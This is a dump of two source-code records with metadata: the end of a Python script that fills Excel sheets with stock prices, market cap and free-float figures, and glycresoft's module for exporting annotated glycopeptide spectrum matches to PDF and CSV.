else \"DNE\"\n                        sheet[\"J\"+str(i+1)] = float(tickerCPEndDateM3) if tickerCPEndDateM3 != \"None\" else \"DNE\"\n                        sheet[\"K\"+str(i+1)] = float(tickerCPEndDateM2) if tickerCPEndDateM2 != \"None\" else \"DNE\"     \n                        sheet[\"L\"+str(i+1)] = float(tickerCPEndDateM1) if tickerCPEndDateM1 != \"None\" else \"DNE\"\n                        sheet[\"M\"+str(i+1)] = float(tickerCPEndDate) if tickerCPEndDate != \"None\" else \"DNE\"\n                        sheet[\"N\"+str(i+1)] = float(tickerCPEndDateP1) if tickerCPEndDateP1 != \"None\" else \"DNE\"\n                        sheet[\"O\"+str(i+1)] = float(tickerCPEndDateP2) if tickerCPEndDateP2 != \"None\" else \"DNE\"\n                        sheet[\"P\"+str(i+1)] = float(tickerCPEndDateP3) if tickerCPEndDateP3 != \"None\" else \"DNE\"\n                        sheet[\"Q\"+str(i+1)] = float(tickerCPEndDateP4) if tickerCPEndDateP4 != \"None\" else \"DNE\"\n                        sheet[\"R\"+str(i+1)] = float(tickerCPEndDateP5) if tickerCPEndDateP5 != \"None\" else \"DNE\"\n                        \n                        print(tickerName + \" \" + tickerDateM7 + \" \" + tickerCPEndDateM7)\n                        print(tickerName + \" \" + tickerDateM6 + \" \" + tickerCPEndDateM6)\n                        print(tickerName + \" \" + tickerDateM5 + \" \" + tickerCPEndDateM5)\n                        print(tickerName + \" \" + tickerDateM4 + \" \" + tickerCPEndDateM4)\n                        print(tickerName + \" \" + tickerDateM3 + \" \" + tickerCPEndDateM3)\n                        print(tickerName + \" \" + tickerDateM2 + \" \" + tickerCPEndDateM2)\n                        print(tickerName + \" \" + tickerDateM1 + \" \" + tickerCPEndDateM1)\n                        print(\"###\")\n                        print(\"END CashBalance \" + tickerName + \" \" + tickerDate0 + \" \" + tickerCPEndDate)\n                        print(\"###\")\n                        print(tickerName + \" \" + tickerDateP1 + \" \" + tickerCPEndDateP1)\n                        print(tickerName + \" \" + tickerDateP2 + \" \" + tickerCPEndDateP2)\n                        print(tickerName + \" \" + tickerDateP3 + \" \" + tickerCPEndDateP3)\n                        print(tickerName + \" \" + tickerDateP4 + \" \" + tickerCPEndDateP4)\n                        print(tickerName + \" \" + tickerDateP5 + \" \" + tickerCPEndDateP5)\n\n                        workbook.save(\"testMKTCAPCashBalanceCPJAN18.xlsx\")\n\n                        break\n                    k += 1\n\n                loopIndex += 1\n                print(\"-------------------------------\")\n\n        except Exception as e: \n            print(e)\n            print(\"Not a DATE\")\n            break\n\n    workbook.save(\"testMKTCAPCashBalanceCPJAN18.xlsx\")\n\n\n################\n\ndef findOpenPrice():\n\n    for i in range(1, number_rows):\n        print(\"---------------finding OpenPrice----------------\")\n        try:\n            tickerName = str(sheet[(\"A\"+str(i+1))].value)\n            endDateValue = str(sheet[(\"D\"+str(i+1))].value)[:10]\n            endDate = datetime.datetime.strptime(endDateValue, '%Y-%m-%d')\n\n            strEndDate = endDate.strftime('%d/%m/%Y')\n\n            currentDateOBJ = datetime.datetime.strptime(CURRENTDATE, \"%d/%m/%Y\")\n            endDateOBJ = datetime.datetime.strptime(strEndDate, \"%d/%m/%Y\")\n            print(tickerName + \" cashBalance endDate \" + strEndDate)\n\n            tickerFileOpen = \"cleanDate\" + tickerName + \".xlsx\"\n            print(\".....Opening '\" + tickerFileOpen + \"'....\")\n\n            tickerWorkBook = openpyxl.load_workbook(filename=tickerFileOpen)\n            tickerSheet = tickerWorkBook.active\n            tickerNumber_rows = tickerSheet.max_row\n\n            loopIndex = 0\n            foundDate = False\n            while foundDate == False:\n                #if endDate is in the future, break the loop || loop more than 6 times \n\n                if foundDate == True or currentDateOBJ < endDateOBJ or loopIndex > 6:\n                    break\n\n                \n                k = 0\n                while k < tickerNumber_rows:\n                    tickerDate = str(tickerSheet[\"A\"+str(k+1)].value)\n                    strEndDateValue = strEndDate\n                    if loopIndex > 0:\n                        tempDate = datetime.datetime.strptime(strEndDate, \"%d/%m/%Y\") + datetime.timedelta(days=-loopIndex)\n                        strEndDateValue = tempDate.strftime('%d/%m/%Y')\n\n                    if tickerDate == strEndDateValue:\n                        foundDate = True\n                        tickerDateM7 = str(tickerSheet[\"A\"+str(k-6)].value)\n                        tickerDateM6 = str(tickerSheet[\"A\"+str(k-5)].value)\n                        tickerDateM5 = str(tickerSheet[\"A\"+str(k-4)].value)\n                        tickerDateM4 = str(tickerSheet[\"A\"+str(k-3)].value)\n                        tickerDateM3 = str(tickerSheet[\"A\"+str(k-2)].value)\n                        tickerDateM2 = str(tickerSheet[\"A\"+str(k-1)].value)\n                        tickerDateM1 = str(tickerSheet[\"A\"+str(k)].value)\n                        tickerDate0 = str(tickerSheet[\"A\"+str(k+1)].value)\n                        tickerDateP1 = str(tickerSheet[\"A\"+str(k+2)].value)\n                        tickerDateP2 = str(tickerSheet[\"A\"+str(k+3)].value)\n                        tickerDateP3 = str(tickerSheet[\"A\"+str(k+4)].value)\n                        tickerDateP4 = str(tickerSheet[\"A\"+str(k+5)].value)\n                        tickerDateP5 = str(tickerSheet[\"A\"+str(k+6)].value)\n\n                        tickerOPEndDateM7 = str(tickerSheet[\"B\"+str(k-6)].value)\n                        tickerOPEndDateM6 = str(tickerSheet[\"B\"+str(k-5)].value)\n                        tickerOPEndDateM5 = str(tickerSheet[\"B\"+str(k-4)].value)\n                        tickerOPEndDateM4 = str(tickerSheet[\"B\"+str(k-3)].value)\n                        tickerOPEndDateM3 = str(tickerSheet[\"B\"+str(k-2)].value)\n                        tickerOPEndDateM2 = str(tickerSheet[\"B\"+str(k-1)].value)\n                        tickerOPEndDateM1 = str(tickerSheet[\"B\"+str(k)].value)\n                        tickerOPEndDate = str(tickerSheet[\"B\"+str(k+1)].value)\n                        tickerOPEndDateP1 = str(tickerSheet[\"B\"+str(k+2)].value)\n                        tickerOPEndDateP2 = str(tickerSheet[\"B\"+str(k+3)].value)\n                        tickerOPEndDateP3 = str(tickerSheet[\"B\"+str(k+4)].value)\n                        tickerOPEndDateP4 = str(tickerSheet[\"B\"+str(k+5)].value)\n                        tickerOPEndDateP5 = str(tickerSheet[\"B\"+str(k+6)].value)\n\n                        sheet[\"F\"+str(i+1)] = float(tickerOPEndDateM7) if tickerOPEndDateM7 != \"None\" else \"DNE\"\n                        sheet[\"G\"+str(i+1)] = float(tickerOPEndDateM6) if tickerOPEndDateM6 != \"None\" else \"DNE\"\n                        sheet[\"H\"+str(i+1)] = float(tickerOPEndDateM5) if tickerOPEndDateM5 != \"None\" else \"DNE\"\n                        sheet[\"I\"+str(i+1)] = float(tickerOPEndDateM4) if tickerOPEndDateM4 != \"None\" else \"DNE\"\n                        sheet[\"J\"+str(i+1)] = float(tickerOPEndDateM3) if tickerOPEndDateM3 != \"None\" else \"DNE\"\n                        sheet[\"K\"+str(i+1)] = float(tickerOPEndDateM2) if tickerOPEndDateM2 != \"None\" else \"DNE\"     \n                        sheet[\"L\"+str(i+1)] = float(tickerOPEndDateM1) if tickerOPEndDateM1 != \"None\" else \"DNE\"\n                        sheet[\"M\"+str(i+1)] = float(tickerOPEndDate) if tickerOPEndDate != \"None\" else \"DNE\"\n                        sheet[\"N\"+str(i+1)] = float(tickerOPEndDateP1) if tickerOPEndDateP1 != \"None\" else \"DNE\"\n                        sheet[\"O\"+str(i+1)] = float(tickerOPEndDateP2) if tickerOPEndDateP2 != \"None\" else \"DNE\"\n                        sheet[\"P\"+str(i+1)] = float(tickerOPEndDateP3) if tickerOPEndDateP3 != \"None\" else \"DNE\"\n                        sheet[\"Q\"+str(i+1)] = float(tickerOPEndDateP4) if tickerOPEndDateP4 != \"None\" else \"DNE\"\n                        sheet[\"R\"+str(i+1)] = float(tickerOPEndDateP5) if tickerOPEndDateP5 != \"None\" else \"DNE\"\n                    \n                        print(tickerName + \" \" + tickerDateM7 + \" \" + tickerOPEndDateM7)\n                        print(tickerName + \" \" + tickerDateM6 + \" \" + tickerOPEndDateM6)\n                        print(tickerName + \" \" + tickerDateM5 + \" \" + tickerOPEndDateM5)\n                        print(tickerName + \" \" + tickerDateM4 + \" \" + tickerOPEndDateM4)\n                        print(tickerName + \" \" + tickerDateM3 + \" \" + tickerOPEndDateM3)\n                        print(tickerName + \" \" + tickerDateM2 + \" \" + tickerOPEndDateM2)\n                        print(tickerName + \" \" + tickerDateM1 + \" \" + tickerOPEndDateM1)\n                        print(\"###\")\n                        print(\"END CashBalance \" + tickerName + \" \" + tickerDate0 + \" \" + tickerOPEndDate)\n                        print(\"###\")\n                        print(tickerName + \" \" + tickerDateP1 + \" \" + tickerOPEndDateP1)\n                        print(tickerName + \" \" + tickerDateP2 + \" \" + tickerOPEndDateP2)\n                        print(tickerName + \" \" + tickerDateP3 + \" \" + tickerOPEndDateP3)\n                        print(tickerName + \" \" + tickerDateP4 + \" \" + tickerOPEndDateP4)\n                        print(tickerName + \" \" + tickerDateP5 + \" \" + tickerOPEndDateP5)\n                        workbook.save(\"CashBalanceOPJAN18.xlsx\")\n                        break\n                    k += 1\n            \n                loopIndex += 1\n                print(\"-------------------------------\")\n        except Exception as e:\n            print(e)\n            print(\"Not a DATE\")\n            break\n    workbook.save(\"CashBalanceOPJAN18.xlsx\")\n\ndef addMktCap():\n\n    for i in range(1, number_rows):\n        print(\"--------------adding Market Capitalization--------------\")\n        try:\n            tickerName = str(sheet[(\"A\"+str(i+1))].value)\n            endDateValue = str(sheet[(\"D\"+str(i+1))].value)[:10]\n            endDate = datetime.datetime.strptime(endDateValue, '%Y-%m-%d')\n            # endDateM5 = endDate + datetime.timedelta(days=-5)\n\n            strEndDate = endDate.strftime('%d/%m/%Y')\n            # strEndDateM5 = endDateM5.strftime('%d/%m/%Y')\n            currentDateOBJ = datetime.datetime.strptime(CURRENTDATE, \"%d/%m/%Y\")\n            endDateOBJ = datetime.datetime.strptime(strEndDate, \"%d/%m/%Y\")\n            print(tickerName + \" cashBalance endDate \" + strEndDate)\n            \n            tickerFileOpen = \"cleanDate\" + tickerName + \".xlsx\"\n            print(\".....Opening '\" + tickerFileOpen + \"'....\")\n\n            tickerWorkBook = openpyxl.load_workbook(filename=tickerFileOpen)\n            tickerSheet = tickerWorkBook.active\n            tickerNumber_rows = tickerSheet.max_row\n            # tickerNumber_columns = tickerSheet.max_column\n            loopIndex = 0\n            foundDate = False\n            while foundDate == False:\n                #if endDate is in the future, break the loop || loop more than 6 times \n                if foundDate == True or currentDateOBJ < endDateOBJ or loopIndex > 6:\n                    break\n\n                k = 0\n                while k < tickerNumber_rows:\n                    tickerDate = str(tickerSheet[\"A\"+str(k+1)].value)\n                    strEndDateValue = strEndDate\n                    if loopIndex > 0:\n                        tempDate = datetime.datetime.strptime(strEndDate, '%d/%m/%Y') + datetime.timedelta(days=-loopIndex)\n                        strEndDateValue = tempDate.strftime('%d/%m/%Y')\n\n                        # strEndDate = str(tickerSheet[\"A\"+str(k+1)].value)[:10]\n                        # tickerDateDateTime = datetime.datetime.strptime(tickerDate, '%Y-%m-%d')\n                        # tickerDateMinus1 = tickerDateDateTime + datetime.timedelta(days=-1)\n                        # tickerDate = tickerDateMinus1.strftime('%d/%m/%Y')\n\n                    \n                    # tickerCell = \"A\" + str(k+1)\n                    # print('this is tickerdate', tickerDate, ' strEndDate', strEndDate)\n                    if tickerDate == strEndDateValue:\n                        foundDate = True\n\n                        # print('Found EndDate at Cell Number'+tickerCell)\n                       \n                        tickerDate0 = str(tickerSheet[\"A\"+str(k+1)].value)\n\n                        tickerMktCap = str(tickerSheet[\"H\"+str(k+1)].value)\n           \n                        sheet[\"AQ\"+str(i+1)] = float(tickerMktCap) if tickerMktCap != \"NaN\" else \"DNE\"\n                \n                        \n \n                        print(\"###\")\n                        print(\"Market Cap of \" + tickerName + \" on \" + tickerDate0 + \" is \" + tickerMktCap)\n                        print(\"###\")\n                 \n                        workbook.save(\"testMKTCAPCashBalanceCPJAN18.xlsx\")\n                        break\n                    k += 1\n\n                loopIndex += 1\n                print(\"-------------------------------\")\n\n        except Exception as e: \n            print(e)\n            print(\"An error occured\")\n            break\n\n    workbook.save(\"testMKTCAPCashBalanceCPJAN18.xlsx\")\n\ndef addFreeFloat():\n    \n    for i in range(1, number_rows):\n        print(\"--------------adding Free Float Percentage--------------\")\n        try:\n            tickerName = str(sheet[(\"A\"+str(i+1))].value)\n            endDateValue = str(sheet[(\"D\"+str(i+1))].value)[:10]\n            endDate = datetime.datetime.strptime(endDateValue, '%Y-%m-%d')\n            # endDateM5 = endDate + datetime.timedelta(days=-5)\n\n            strEndDate = endDate.strftime('%d/%m/%Y')\n            # strEndDateM5 = endDateM5.strftime('%d/%m/%Y')\n            currentDateOBJ = datetime.datetime.strptime(CURRENTDATE, \"%d/%m/%Y\")\n            endDateOBJ = datetime.datetime.strptime(strEndDate, \"%d/%m/%Y\")\n            print(tickerName + \" cashBalance endDate \" + strEndDate)\n            \n            tickerFileOpen = \"cleanDate\" + tickerName + \".xlsx\"\n            print(\".....Opening '\" + tickerFileOpen + \"'....\")\n\n            tickerWorkBook = openpyxl.load_workbook(filename=tickerFileOpen)\n            tickerSheet = tickerWorkBook.active\n            tickerNumber_rows = tickerSheet.max_row\n            # tickerNumber_columns = tickerSheet.max_column\n            loopIndex = 0\n            foundDate = False\n            while foundDate == False:\n                #if endDate is in the future, break the loop || loop more than 6 times \n                if foundDate == True or currentDateOBJ < endDateOBJ or loopIndex > 6:\n                    break\n\n                k = 0\n                while k < tickerNumber_rows:\n                    tickerDate = str(tickerSheet[\"A\"+str(k+1)].value)\n                    strEndDateValue = strEndDate\n                    if loopIndex > 0:\n                        tempDate = datetime.datetime.strptime(strEndDate, '%d/%m/%Y') + datetime.timedelta(days=-loopIndex)\n                        strEndDateValue = tempDate.strftime('%d/%m/%Y')\n\n                        # strEndDate = str(tickerSheet[\"A\"+str(k+1)].value)[:10]\n                        # tickerDateDateTime = datetime.datetime.strptime(tickerDate, '%Y-%m-%d')\n                        # tickerDateMinus1 = tickerDateDateTime + datetime.timedelta(days=-1)\n                        # tickerDate = tickerDateMinus1.strftime('%d/%m/%Y')\n\n                    \n                    # tickerCell = \"A\" + str(k+1)\n                    # print('this is tickerdate', tickerDate, ' strEndDate', strEndDate)\n                    if tickerDate == strEndDateValue:\n                        foundDate = True\n\n                        # print('Found EndDate at Cell Number'+tickerCell)\n                       \n                        tickerDate0 = str(tickerSheet[\"A\"+str(k+1)].value)\n                        tickerFloatSharesOutstanding = float(tickerSheet[\"J\" + str(k+1)].value)\n                        tickerCommonSharesOutstanding = float(tickerSheet[\"K\"+str(k+1)].value)\n                        tickerFreeFloatPercentage = \"NaN\"\n                        if tickerFloatSharesOutstanding != \"NaN\" and tickerCommonSharesOutstanding != \"NaN\":\n                            tickerFreeFloatPercentage = tickerFloatSharesOutstanding/tickerCommonSharesOutstanding\n                       \n           \n                        sheet[\"AR\"+str(i+1)] = float(tickerFreeFloatPercentage) if tickerFreeFloatPercentage != \"NaN\" else \"DNE\"\n                \n                        print(\"###\")\n                        print(\"Free Float Percentage of \" + tickerName + \" on \" + tickerDate0 + \" is \" + str(tickerFreeFloatPercentage))\n                        print(\"###\")\n                 \n                        workbook.save(\"testMKTCAPCashBalanceCPJAN18.xlsx\")\n                        break\n                    k += 1\n\n                loopIndex += 1\n                print(\"-------------------------------\")\n\n        except Exception as e: \n            print(e)\n            print(\"An error occured\")\n            break\n\n    workbook.save(\"testMKTCAPCashBalanceCPJAN18.xlsx\")\n\n#########\n\ngetUserInput = False\nwhile not getUserInput:\n    userInput = input(\"cp / op / mktcap / ff / ccmktcapff ? \")\n    if userInput == \"cp\":\n        getUserInput = True\n        findClosePrice()\n    elif userInput == \"op\":\n        getUserInput = True\n        findOpenPrice()\n    elif userInput ==\"mktcap\":\n        getUserInput = True\n        addMktCap()\n    elif userInput == \"ff\":\n        getUserInput = True\n        addFreeFloat()\n    elif userInput == \"exit\":\n        getUserInput = True\n    elif userInput == \"ccmktcapff\":\n        getUserInput = True\n        findClosePrice()\n        addMktCap()\n        addFreeFloat()", "repo_name": "mickyngub/stockCashBalanceData", "sub_path": "findPrice.py", "file_name": "findPrice.py", "file_ext": "py", "file_size_in_byte": 22923, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "openpyxl.load_workbook", "line_number": 6, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 20, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 20, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 25, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 25, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 26, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 26, "usage_type": "attribute"}, {"api_name": "openpyxl.load_workbook", "line_number": 32, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 48, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 48, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 48, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 146, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 146, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 150, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 150, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 151, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 151, "usage_type": "attribute"}, {"api_name": "openpyxl.load_workbook", "line_number": 157, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 175, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 175, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 175, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 256, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 256, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 261, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 261, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 262, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 262, "usage_type": "attribute"}, {"api_name": "openpyxl.load_workbook", "line_number": 268, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 284, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 284, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 284, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 333, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 333, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 338, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 338, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 339, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 339, "usage_type": "attribute"}, {"api_name": "openpyxl.load_workbook", "line_number": 345, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 361, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 361, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 361, "usage_type": "call"}]}
{"seq_id": "34871725439", "text": "import os\nimport logging\nimport string\nimport platform\nimport csv\nfrom io import TextIOWrapper\n\nfrom glycan_profiling import serialize\nfrom glycan_profiling.serialize import (\n    Protein, Glycopeptide, IdentifiedGlycopeptide,\n    func, MSScan, GlycopeptideSpectrumMatch)\n\nfrom glycan_profiling.task import TaskBase\nfrom glycan_profiling.serialize import DatabaseBoundOperation\n\nfrom glycan_profiling.chromatogram_tree import Unmodified\nfrom glycan_profiling.tandem.ref import SpectrumReference\nfrom glycan_profiling.tandem.glycopeptide.scoring import CoverageWeightedBinomialModelTree\n\nfrom glycan_profiling.plotting import figure\nfrom glycan_profiling.plotting.sequence_fragment_logo import glycopeptide_match_logo\nfrom glycan_profiling.plotting.spectral_annotation import TidySpectrumMatchAnnotator\n\nfrom ms_deisotope.output import ProcessedMSFileLoader\n\nfrom matplotlib import pyplot as plt, style\nfrom matplotlib import rcParams as mpl_params\n\n\nstatus_logger = logging.getLogger(\"glycresoft.status\")\n\n\ndef format_filename(s):\n    \"\"\"Take a string and return a valid filename constructed from the string.\n    Uses a whitelist approach: any characters not present in valid_chars are\n    removed. Also spaces are replaced with underscores.\n    \"\"\"\n    valid_chars = \"-_.() %s%s\" % (string.ascii_letters, string.digits)\n    filename = ''.join(c for c in s if c in valid_chars)\n    filename = filename.replace(' ', '_')\n    return filename\n\n\nclass SpectrumAnnotatorExport(TaskBase, DatabaseBoundOperation):\n    def __init__(self, database_connection, analysis_id, output_path, mzml_path=None):\n        DatabaseBoundOperation.__init__(self, database_connection)\n        self.analysis_id = analysis_id\n        self.mzml_path = mzml_path\n        self.output_path = output_path\n        self.analysis = self.session.query(serialize.Analysis).get(self.analysis_id)\n        self.scan_loader = None\n        self._mpl_style = {\n            'figure.facecolor': 'white',\n            'figure.edgecolor': 'white',\n            'font.size': 10,\n            'savefig.dpi': 72,\n            'figure.subplot.bottom': .125\n        }\n\n    def _make_scan_loader(self):\n        if self.mzml_path is not None:\n            if not os.path.exists(self.mzml_path):\n                raise IOError(\"No such file {}\".format(self.mzml_path))\n            self.scan_loader = ProcessedMSFileLoader(self.mzml_path)\n        else:\n            self.mzml_path = self.analysis.parameters['sample_path']\n            if not os.path.exists(self.mzml_path):\n                raise IOError((\n                    \"No such file {}. If {} was relocated, you may need to explicily pass the\"\n                    \" corrected file path.\").format(\n                    self.mzml_path,\n                    self.database_connection._original_connection))\n            self.scan_loader = ProcessedMSFileLoader(self.mzml_path)\n        return self.scan_loader\n\n    def _load_spectrum_matches(self):\n        query = self.query(GlycopeptideSpectrumMatch).join(\n            GlycopeptideSpectrumMatch.scan).filter(\n            GlycopeptideSpectrumMatch.analysis_id == self.analysis_id).order_by(\n            MSScan.index)\n        return query.all()\n\n    def run(self):\n        scan_loader = self._make_scan_loader()\n        gpsms = self._load_spectrum_matches()\n        if not os.path.exists(self.output_path):\n            os.makedirs(self.output_path)\n        n = len(gpsms)\n        self.log(\"%d Spectrum Matches\" % (n,))\n        for i, gpsm in enumerate(gpsms):\n            scan = scan_loader.get_scan_by_id(gpsm.scan.scan_id)\n            gpep = gpsm.structure.convert()\n            if i % 10 == 0:\n                self.log(\"... %0.2f%%: %s @ %s\" % (((i + 1) / float(n) * 100.0), gpep, scan.id))\n            with style.context(self._mpl_style):\n                fig = figure()\n                grid = plt.GridSpec(nrows=5, ncols=1)\n                ax1 = fig.add_subplot(grid[1, 0])\n                ax2 = fig.add_subplot(grid[2:, 0])\n                ax3 = fig.add_subplot(grid[0, 0])\n                match = CoverageWeightedBinomialModelTree.evaluate(scan, gpep)\n                ax3.text(0, 0.5, (\n                    str(match.target) + '\\n' + scan.id +\n                    '\\nscore=%0.3f    q value=%0.3g' % (gpsm.score, gpsm.q_value)), va='center')\n                ax3.axis('off')\n                match.plot(ax=ax2)\n                glycopeptide_match_logo(match, ax=ax1)\n                fname = format_filename(\"%s_%s.pdf\" % (scan.id, gpep))\n                path = os.path.join(self.output_path, fname)\n                abspath = os.path.abspath(path)\n                if len(abspath) > 259 and platform.system().lower() == 'windows':\n                    abspath = '\\\\\\\\?\\\\' + abspath\n                fig.savefig(abspath, bbox_inches='tight')\n                plt.close(fig)\n\n\nclass CSVSpectrumAnnotatorExport(SpectrumAnnotatorExport):\n    def __init__(self, database_connection, analysis_id, outstream, mzml_path=None, fdr_threshold=0.05):\n        super(CSVSpectrumAnnotatorExport, self).__init__(\n            database_connection, analysis_id, None, mzml_path)\n        self.outstream = outstream\n        try:\n            self.is_binary = 'b' in self.outstream.mode\n        except AttributeError:\n            self.is_binary = True\n        if self.is_binary:\n            try:\n                self.outstream = TextIOWrapper(outstream, 'utf8', newline=\"\")\n            except AttributeError:\n                # must be Py2\n                pass\n        self.fdr_threshold = fdr_threshold\n        self.writer = csv.writer(self.outstream, delimiter=',')\n\n    def get_header(self):\n        return [\n            \"glycopeptide\",\n            \"scan_id\",\n            \"fragment_name\",\n            \"peak_mass\",\n            \"peak_charge\",\n            \"peak_intensity\",\n            \"mass_accuracy_ppm\",\n        ]\n\n    def _load_spectrum_matches(self):\n        query = self.query(GlycopeptideSpectrumMatch).join(\n            GlycopeptideSpectrumMatch.scan).filter(\n            GlycopeptideSpectrumMatch.analysis_id == self.analysis_id,\n            GlycopeptideSpectrumMatch.is_best_match,\n            GlycopeptideSpectrumMatch.q_value <= self.fdr_threshold).order_by(\n                GlycopeptideSpectrumMatch.score.desc(), MSScan.index)\n        return query.all()\n\n    def convert_object(self, obj):\n        records = []\n        for pfp in sorted(obj.solution_map, key=lambda x: x.fragment.mass):\n            peak, fragment = pfp\n            rec = [\n                str(obj.target),\n                str(obj.scan.scan_id),\n                fragment.name,\n                peak.neutral_mass,\n                peak.charge,\n                peak.intensity,\n                pfp.mass_accuracy() * 1e6\n            ]\n            records.append(rec)\n        return records\n\n    def status_update(self, message):\n        status_logger.info(message)\n\n    def writerows(self, iterable):\n        self.writer.writerows(iterable)\n\n    def writerow(self, row):\n        self.writer.writerow(row)\n\n    def run(self):\n        header = self.get_header()\n        self.writerow(header)\n\n        scan_loader = self._make_scan_loader()\n        gpsms = self._load_spectrum_matches()\n\n        n = len(gpsms)\n        for i, gpsm in enumerate(gpsms):\n            scan = scan_loader.get_scan_by_id(gpsm.scan.scan_id)\n            gpep = gpsm.structure.convert()\n            match = CoverageWeightedBinomialModelTree.evaluate(scan, gpep)\n            self.writerows(self.convert_object(match))\n            if i % 100 == 0 and i:\n                self.status_update(\"%d Spectrum Matches Handled (%0.2f%%)\" % (i, i * 100.0 / n))\n", "repo_name": "mobiusklein/glycresoft", "sub_path": "src/glycan_profiling/output/annotate_spectra.py", "file_name": "annotate_spectra.py", "file_ext": "py", "file_size_in_byte": 7604, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 30, "usage_type": "call"}, {"api_name": "string.ascii_letters", "line_number": 38, "usage_type": "attribute"}, {"api_name": "string.digits", "line_number": 38, "usage_type": "attribute"}, {"api_name": "glycan_profiling.task.TaskBase", "line_number": 44, "usage_type": "name"}, {"api_name": "glycan_profiling.serialize.DatabaseBoundOperation", "line_number": 44, "usage_type": "name"}, {"api_name": "glycan_profiling.serialize.DatabaseBoundOperation.__init__", "line_number": 46, "usage_type": "call"}, {"api_name": "glycan_profiling.serialize.DatabaseBoundOperation", "line_number": 46, "usage_type": "name"}, {"api_name": "glycan_profiling.serialize.Analysis", "line_number": 50, "usage_type": "attribute"}, {"api_name": "glycan_profiling.serialize", "line_number": 50, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 62, "usage_type": "call"}, {"api_name": "os.path", "line_number": 62, "usage_type": "attribute"}, {"api_name": "ms_deisotope.output.ProcessedMSFileLoader", "line_number": 64, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 67, "usage_type": "call"}, {"api_name": "os.path", "line_number": 67, "usage_type": "attribute"}, {"api_name": "ms_deisotope.output.ProcessedMSFileLoader", "line_number": 73, "usage_type": "call"}, {"api_name": "glycan_profiling.serialize.GlycopeptideSpectrumMatch", "line_number": 77, "usage_type": "argument"}, {"api_name": "glycan_profiling.serialize.GlycopeptideSpectrumMatch.scan", "line_number": 78, "usage_type": "attribute"}, {"api_name": "glycan_profiling.serialize.GlycopeptideSpectrumMatch", "line_number": 78, "usage_type": "name"}, {"api_name": "glycan_profiling.serialize.GlycopeptideSpectrumMatch.analysis_id", "line_number": 79, "usage_type": "attribute"}, {"api_name": "glycan_profiling.serialize.GlycopeptideSpectrumMatch", "line_number": 79, "usage_type": "name"}, {"api_name": "glycan_profiling.serialize.MSScan.index", "line_number": 80, "usage_type": "attribute"}, {"api_name": "glycan_profiling.serialize.MSScan", "line_number": 80, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 86, "usage_type": "call"}, {"api_name": "os.path", "line_number": 86, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 87, "usage_type": "call"}, {"api_name": "matplotlib.style.context", "line_number": 95, "usage_type": "call"}, {"api_name": "matplotlib.style", "line_number": 95, "usage_type": "name"}, {"api_name": "glycan_profiling.plotting.figure", "line_number": 96, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.GridSpec", "line_number": 97, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 97, "usage_type": "name"}, {"api_name": "glycan_profiling.tandem.glycopeptide.scoring.CoverageWeightedBinomialModelTree.evaluate", "line_number": 101, "usage_type": "call"}, {"api_name": "glycan_profiling.tandem.glycopeptide.scoring.CoverageWeightedBinomialModelTree", "line_number": 101, "usage_type": "name"}, {"api_name": "glycan_profiling.plotting.sequence_fragment_logo.glycopeptide_match_logo", "line_number": 107, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 109, "usage_type": "call"}, {"api_name": "os.path", "line_number": 109, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 110, "usage_type": "call"}, {"api_name": "os.path", "line_number": 110, "usage_type": "attribute"}, {"api_name": "platform.system", "line_number": 111, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.close", "line_number": 114, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 114, "usage_type": "name"}, {"api_name": "io.TextIOWrapper", "line_number": 128, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 133, "usage_type": "call"}, {"api_name": "glycan_profiling.serialize.GlycopeptideSpectrumMatch", "line_number": 147, "usage_type": "argument"}, {"api_name": 